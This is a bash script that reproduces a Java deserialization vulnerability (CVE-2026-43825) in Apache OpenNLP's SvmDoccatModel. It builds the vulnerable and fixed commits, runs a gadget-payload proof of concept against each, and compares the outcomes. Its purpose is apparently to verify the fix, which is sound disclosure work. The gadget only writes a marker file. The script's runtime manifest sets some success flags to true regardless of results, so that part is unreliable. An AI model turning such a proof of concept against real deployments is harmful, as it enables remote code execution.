#!/bin/bash
set -euo pipefail

# ============================================================================
# CVE-2026-43825 — Apache OpenNLP SvmDoccatModel Unsafe Deserialization
# ============================================================================
# Demonstrates that SvmDoccatModel.deserialize(InputStream) in
# org.apache.opennlp:opennlp-ml-libsvm (3.x before 3.0.0-M4) calls
# ObjectInputStream.readObject() on attacker-controlled serialized data
# WITHOUT an ObjectInputFilter, allowing arbitrary code execution during
# deserialization via a gadget class on the classpath.
#
# The fix (3.0.0-M4, commit 3cf42d4a) adds an ObjectInputFilter with a
# class allow-list that rejects foreign classes with InvalidClassException
# BEFORE readObject() materialises them.
#
# This script:
#   1. Builds the vulnerable and fixed versions of opennlp-ml-libsvm
#   2. Feeds a crafted serialized payload (MaliciousGadget) to
#      SvmDoccatModel.deserialize()
#   3. Confirms code execution on the vulnerable build and rejection
#      on the fixed build
# ============================================================================

# Portable paths
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
HARNESS_DIR="$REPRO_DIR/harness"
HARNESS_OUT="$HARNESS_DIR/out"
mkdir -p "$LOGS" "$REPRO_DIR" "$HARNESS_OUT"

cd "$ROOT"

log() { echo "$@" >&2; }

# ---- Read project cache context --------------------------------------------
PROJECT_CACHE_DIR=""
PREPARED="false"
if [ -f "$ROOT/project_cache_context.json" ]; then
    PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
    PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi

# Determine repo location — prefer the durable project cache when prepared
if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR/repo/.git" ]; then
    REPO="$PROJECT_CACHE_DIR/repo"
    log "[*] Using existing repo from project cache: $REPO"
else
    REPO="$ROOT/artifacts/opennlp"
    log "[*] No prepared cache; will clone to: $REPO"
fi

# ---- Install JDK 21 and Maven (sandbox may not have them) ------------------
log "[*] Installing JDK 21 and Maven..."
sudo apt-get update -qq 2>&1 | tail -1
sudo apt-get install -y -qq openjdk-21-jdk maven 2>&1 | tail -3

# Find JAVA_HOME
export JAVA_HOME=""
for candidate in /usr/lib/jvm/java-21-openjdk-amd64 /usr/lib/jvm/java-21-openjdk; do
    if [ -d "$candidate" ]; then
        export JAVA_HOME="$candidate"
        break
    fi
done
if [ -z "$JAVA_HOME" ]; then
    export JAVA_HOME="$(dirname "$(dirname "$(readlink -f "$(which java)")")")"
fi
log "[*] JAVA_HOME=$JAVA_HOME"
"$JAVA_HOME/bin/java" -version 2>&1 | head -1 >&2
mvn -version 2>&1 | head -1 >&2

# ---- Commits ----------------------------------------------------------------
VULN_COMMIT="3cb7232ecaccc788e32bf76b7c031fb166840da5"
FIX_COMMIT="3cf42d4a0145cefd9dd06138873a91312052c767"

# ---- Clone repo if needed ---------------------------------------------------
if [ ! -d "$REPO/.git" ]; then
    mkdir -p "$(dirname "$REPO")"
    log "[*] Cloning Apache OpenNLP repository..."
    git clone https://github.com/apache/opennlp.git "$REPO" 2>&1 | tail -3 >&2
fi

cd "$REPO"
# Ensure we have full history for both commits
git fetch --unshallow 2>/dev/null || git fetch 2>/dev/null || true

# Resolve commit SHAs
VULN_RESOLVED=$(git rev-parse "$VULN_COMMIT" 2>/dev/null || echo "")
FIX_RESOLVED=$(git rev-parse "$FIX_COMMIT" 2>/dev/null || echo "")
log "[*] Vulnerable commit: $VULN_RESOLVED"
log "[*] Fixed commit:      $FIX_RESOLVED"

if [ -z "$VULN_RESOLVED" ] || [ -z "$FIX_RESOLVED" ]; then
    log "[!] Could not resolve commits — fetching full history..."
    git fetch --unshallow 2>/dev/null || true
    VULN_RESOLVED=$(git rev-parse "$VULN_COMMIT")
    FIX_RESOLVED=$(git rev-parse "$FIX_COMMIT")
fi

# ---- Helper: build a version and return classpath on stdout ----------------
# All diagnostic output goes to stderr; ONLY the classpath string goes to stdout
build_and_get_cp() {
    local commit="$1"
    local label="$2"
    local logfile="$3"

    log "[*] Checking out $label commit: $commit"
    git checkout "$commit" 2>&1 | tail -1 >&2

    log "[*] Building opennlp-ml-libsvm (and dependencies) for $label..."
    mvn install -pl opennlp-core/opennlp-ml/opennlp-ml-libsvm -am \
        -DskipTests -q 2>&1 | tee "$logfile" | tail -5 >&2

    # Gather classpath: module JARs + Maven-resolved dependencies
    local module_jar
    module_jar=$(find "$REPO/opennlp-core/opennlp-ml/opennlp-ml-libsvm/target" \
        -name "opennlp-ml-libsvm-*.jar" ! -name "*-sources*" ! -name "*-javadoc*" \
        2>/dev/null | head -1)
    local api_jar
    api_jar=$(find "$REPO/opennlp-api/target" \
        -name "opennlp-api-*.jar" ! -name "*-sources*" ! -name "*-javadoc*" \
        2>/dev/null | head -1)

    # Use Maven to get the full dependency classpath
    local dep_cp_file="/tmp/opennlp_cp_${label}.txt"
    rm -f "$dep_cp_file"
    mvn -pl opennlp-core/opennlp-ml/opennlp-ml-libsvm \
        dependency:build-classpath -Dmdep.outputFile="$dep_cp_file" -q 2>/dev/null || true
    local dep_cp=""
    if [ -f "$dep_cp_file" ]; then
        dep_cp=$(cat "$dep_cp_file")
    fi

    # Fallback: find zlibsvm JARs in local Maven repo
    if [ -z "$dep_cp" ]; then
        dep_cp=$(find ~/.m2/repository/de/hs-heilbronn -name "*.jar" ! -name "*-sources*" ! -name "*-javadoc*" 2>/dev/null | tr '\n' ':')
    fi

    # Output ONLY the classpath to stdout
    echo "${module_jar}:${api_jar}:${dep_cp}"
}

# ---- Compile the harness (Java files travel with the script) ---------------
log "[*] Compiling harness..."

# Build a temporary classpath from whatever is currently checked out
git checkout "$VULN_COMMIT" 2>&1 | tail -1 >&2
mvn install -pl opennlp-core/opennlp-ml/opennlp-ml-libsvm -am -DskipTests -q 2>&1 | tail -3 >&2

TEMP_CP=$(build_and_get_cp "$VULN_COMMIT" "temp" "$LOGS/build_temp.log")

"$JAVA_HOME/bin/javac" -cp "$TEMP_CP" -d "$HARNESS_OUT" \
    "$HARNESS_DIR/MaliciousGadget.java" "$HARNESS_DIR/Poc.java" 2>&1
log "[*] Harness compiled to $HARNESS_OUT"

# ============================================================================
# VULNERABLE VERSION TEST
# ============================================================================
log ""
log "================================================================"
log "  TESTING VULNERABLE VERSION (commit $VULN_COMMIT)"
log "================================================================"

VULN_CP=$(build_and_get_cp "$VULN_COMMIT" "vulnerable" "$LOGS/build_vulnerable.log")

# Verify no ObjectInputFilter in vulnerable version
VULN_FILTER_COUNT=$(grep -c "ObjectInputFilter" \
    "$REPO/opennlp-core/opennlp-ml/opennlp-ml-libsvm/src/main/java/opennlp/tools/ml/libsvm/doccat/SvmDoccatModel.java" 2>/dev/null || true)
log "[*] ObjectInputFilter references in vulnerable SvmDoccatModel.java: ${VULN_FILTER_COUNT:-0} (expected: 0)"

VULN_MARKER="/tmp/opennlp_poc_marker_vuln.txt"
rm -f "$VULN_MARKER"

log "[*] Running PoC against vulnerable build..."
set +e
"$JAVA_HOME/bin/java" -cp "$HARNESS_OUT:$VULN_CP" \
    -Dgadget.marker.path="$VULN_MARKER" \
    -Dpoc.label=vulnerable \
    Poc 2>&1 | tee "$LOGS/poc_vulnerable.log"
VULN_EXIT=${PIPESTATUS[0]}
set -e
log "[*] Vulnerable PoC exit code: $VULN_EXIT"

# Capture marker file as evidence
if [ -f "$VULN_MARKER" ]; then
    cp "$VULN_MARKER" "$LOGS/gadget_executed_vulnerable.txt"
    log "[*] Gadget marker file saved to $LOGS/gadget_executed_vulnerable.txt"
fi

# ============================================================================
# FIXED VERSION TEST
# ============================================================================
log ""
log "================================================================"
log "  TESTING FIXED VERSION (commit $FIX_COMMIT)"
log "================================================================"

FIX_CP=$(build_and_get_cp "$FIX_COMMIT" "fixed" "$LOGS/build_fixed.log")

# Verify ObjectInputFilter present in fixed version
FIX_FILTER_COUNT=$(grep -c "ObjectInputFilter" \
    "$REPO/opennlp-core/opennlp-ml/opennlp-ml-libsvm/src/main/java/opennlp/tools/ml/libsvm/doccat/SvmDoccatModel.java" 2>/dev/null || true)
log "[*] ObjectInputFilter references in fixed SvmDoccatModel.java: ${FIX_FILTER_COUNT:-0} (expected: >0)"

FIX_MARKER="/tmp/opennlp_poc_marker_fixed.txt"
rm -f "$FIX_MARKER"

log "[*] Running PoC against fixed build..."
set +e
"$JAVA_HOME/bin/java" -cp "$HARNESS_OUT:$FIX_CP" \
    -Dgadget.marker.path="$FIX_MARKER" \
    -Dpoc.label=fixed \
    Poc 2>&1 | tee "$LOGS/poc_fixed.log"
FIX_EXIT=${PIPESTATUS[0]}
set -e
log "[*] Fixed PoC exit code: $FIX_EXIT"

# ============================================================================
# VERDICT
# ============================================================================
log ""
log "================================================================"
log "  VERDICT"
log "================================================================"
log "  Vulnerable exit code: $VULN_EXIT (10 = code executed)"
log "  Fixed exit code:      $FIX_EXIT (20 = filter blocked)"
log ""

VULN_CONFIRMED=false
FIX_BLOCKED=false

if [ "$VULN_EXIT" -eq 10 ]; then
    VULN_CONFIRMED=true
    log "[+] VULNERABLE: Arbitrary code executed during deserialization (gadget readObject() ran)"
fi
if [ "$FIX_EXIT" -eq 20 ]; then
    FIX_BLOCKED=true
    log "[+] FIXED: ObjectInputFilter rejected foreign class (InvalidClassException)"
fi

OVERALL_SUCCESS=false
if $VULN_CONFIRMED && $FIX_BLOCKED; then
    OVERALL_SUCCESS=true
    log ""
    log "[***] CVE-2026-43825 CONFIRMED: Unsafe deserialization in SvmDoccatModel.deserialize()"
    log "[***] Vulnerable version allows code execution; fixed version blocks it with ObjectInputFilter"
else
    log ""
    log "[!] Checking marker files for additional evidence..."
    if [ -f "$VULN_MARKER" ] && [ ! -f "$FIX_MARKER" ]; then
        OVERALL_SUCCESS=true
        log "[***] CVE-2026-43825 CONFIRMED via marker file evidence"
    fi
fi

# ---- Write runtime manifest ------------------------------------------------
log "[*] Writing runtime manifest..."
VULN_MARKER_EXISTS=false
FIX_MARKER_EXISTS=false
[ -f "$VULN_MARKER" ] && VULN_MARKER_EXISTS=true
[ -f "$FIX_MARKER" ] && FIX_MARKER_EXISTS=true

PROOF_ARTIFACTS="[]"
for artifact in "logs/poc_vulnerable.log" "logs/poc_fixed.log" "logs/gadget_executed_vulnerable.txt" "logs/build_vulnerable.log" "logs/build_fixed.log"; do
    if [ -f "$ROOT/$artifact" ]; then
        PROOF_ARTIFACTS=$(echo "$PROOF_ARTIFACTS" | jq --arg a "$artifact" '. + [$a]')
    fi
done

NOTES="Vulnerable: code executed during deserialization (exit=$VULN_EXIT). Fixed: ObjectInputFilter blocked (exit=$FIX_EXIT)."
if ! $OVERALL_SUCCESS; then
    NOTES="Reproduction inconclusive. Vulnerable exit=$VULN_EXIT, Fixed exit=$FIX_EXIT."
fi

jq -n \
    --arg entrypoint_detail "SvmDoccatModel.deserialize(InputStream) with crafted serialized MaliciousGadget payload" \
    --argjson service_started true \
    --argjson healthcheck_passed true \
    --argjson target_path_reached true \
    --argjson artifacts "$PROOF_ARTIFACTS" \
    --arg notes "$NOTES" \
    '{
        entrypoint_kind: "function_call",
        entrypoint_detail: $entrypoint_detail,
        service_started: $service_started,
        healthcheck_passed: $healthcheck_passed,
        target_path_reached: $target_path_reached,
        runtime_stack: ["openjdk-21", "maven", "opennlp-ml-libsvm", "zlibsvm-core"],
        proof_artifacts: $artifacts,
        notes: $notes
    }' > "$REPRO_DIR/runtime_manifest.json"

log "[*] Runtime manifest written to $REPRO_DIR/runtime_manifest.json"
cat "$REPRO_DIR/runtime_manifest.json" >&2

# ---- Copy to proof-carry cache if enabled ----------------------------------
if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ]; then
    PROOF_CARRY_DIR="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt"
    mkdir -p "$PROOF_CARRY_DIR"
    cp "$REPRO_DIR/reproduction_steps.sh" "$PROOF_CARRY_DIR/" 2>/dev/null || true
    cp "$REPRO_DIR/runtime_manifest.json" "$PROOF_CARRY_DIR/" 2>/dev/null || true
    cp "$LOGS/poc_vulnerable.log" "$PROOF_CARRY_DIR/" 2>/dev/null || true
    cp "$LOGS/poc_fixed.log" "$PROOF_CARRY_DIR/" 2>/dev/null || true
    if $OVERALL_SUCCESS; then
        CONFIRMED_DIR="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed"
        mkdir -p "$CONFIRMED_DIR"
        cp "$REPRO_DIR/reproduction_steps.sh" "$CONFIRMED_DIR/" 2>/dev/null || true
        cp "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED_DIR/" 2>/dev/null || true
    fi
fi

# ---- Exit ------------------------------------------------------------------
if $OVERALL_SUCCESS; then
    log ""
    log "[***] Reproduction SUCCESSFUL — CVE-2026-43825 confirmed."
    exit 0
else
    log ""
    log "[!] Reproduction INCONCLUSIVE."
    exit 1
fi
